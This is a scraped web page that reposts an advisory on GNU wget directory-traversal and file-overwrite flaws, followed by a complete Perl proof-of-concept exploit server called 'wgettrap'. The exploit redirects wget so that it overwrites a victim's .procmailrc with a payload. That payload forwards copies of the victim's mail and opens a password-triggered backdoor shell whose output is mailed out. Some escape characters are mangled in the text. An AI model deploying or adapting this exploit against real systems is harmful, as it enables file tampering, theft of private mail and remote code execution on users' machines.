source: http://www.securityfocus.com/bid/11871/info
Multiple remote vulnerabilities reportedly affect GNU wget. These issues are due to the application's failure to properly sanitize user-supplied input and to properly validate the presence of files before writing to them. The issues include:
- a potential directory-traversal issue
- an arbitrary file-overwriting vulnerability
- a weakness caused by the application's failure to filter potentially malicious characters from server-supplied input.
Via a malicious server, an attacker may exploit these issues to arbitrarily overwrite files within the current directory and potentially outside of it. This may let the attacker corrupt files, cause a denial of service, and possibly launch further attacks against the affected computer. Overwriting of files would take place with the privileges of the user that activates the vulnerable application.
--
)^o-o^| jabber: [email protected]
| .v K e-mail: jjminar FastMail FM
` - .' phone: +44(0)7981 738 696
__/Jan icq: 345 355 493
__|o|__Min?? irc: [email protected]
#!/usr/bin/perl -W
# wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability
#
# Copyright 2004 Jan Min???? (jjminar fastmail fm)
# License: Public Domain
#
# When wget connects to us, we send it a HTTP redirect constructed so that wget
# wget will connect the second time, it will be attempting to override
# ~/.procm4ilrc (well, provided that the user running wget has username 'jan'
# 8-)).
use POSIX qw(strftime);
# This is our scheme/host/port
$server = "http://localhost:31340";
# Use this + DNS poisoning with wget 1.9 & CVS
#$server = "http://..";
# Wanna know who got infected?
#$log = "/dev/pts/1";
# The filename we will try to overwrite on the target system
$filename = "/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored.";
############### Payload #########################################
$email = 'your@mailbox';
$password = 'Pmrpuf ner cevzvgvirf';
$payload = <<EOP;
:0c
| mail -s 'Wgettrap mail copy' $email
:0
* ^X-Wgettrap-Command: shell
* ^X-Wgettrap-Password: $password
| /bin/sh -c '/bin/sh | mail -s "Wgettrap shell output" $email'
EOP
chomp $payload;
############### Payload #########################################
# A simple directory traversal, for greater effect
$trick = "/.." . "%2f.." x 40;
open LOG, ">$log" if $log;
while(<STDIN>){
print LOG $_ if $log;
if (/Q$trick$filenameE/) {
#if (/%2f/) {
# We see the filename, so this is the second time
# they're here. Time to feed the sploit.
$second++;
} elsif (/^Range: bytes=(33)-/) {
# Appending goes like this:
# (1) Tell'em what you're gonna tell'em
# (2) Then tell'em just a half
# (3) Close it
# (4) Wait
# (5) They're comin' back, with wget -c
# (6) Tell'em the sploit
# (7) Close again
# (8) Wtf? They're comin' back with wget -c again
# (9) Tell'em the rest...
# (10) ... enjoying the backdoor at the same time
print LOG "File if $1 bytes longn" if $log;
} elsif (/^r?$/) {
# The HTTP headers are over. Let's do it!
$date = strftime ("%a, %e %b %Y %H:%M:%S %z", localtime);
if (!$second) {
# Print the payload
print <<EOT;
HTTP/1.1 301 Moved Permanentlyr
Date: $dater
Server: wgettrap 1.1r
Accept-Ranges: bytesr
Location: $server$trick$filenamer
Content-Length: 43r
Connection: closer
Content-Type: text/htmlr
r
<html><head><title></title></head></html>r
EOT
} else {
# Print the redirection
print <<EOT;
HTTP/1.1 200 OKr
Date: $dater
Server: wgettrap 1.1r
Accept-Ranges: bytesr
Content-Length: 25r
Connection: closer
Content-Type: text/plainr
r
$payload
EOT
}
exit 0;
}
}
![图片[1]-GNU wget执行任意代码漏洞-安全小百科](https://p0.ssl.qhimg.com/dr/29_50_100/t01bbbb9ac447dabd6a.png)
CVE编号
![图片[2]-GNU wget执行任意代码漏洞-安全小百科](https://p0.ssl.qhimg.com/dr/29_150_100/t01cd54df57948e31ea.png)
CNNVD-ID
恐龙抗狼扛9月前0
kankan啊啊啊啊3年前0
66666666666666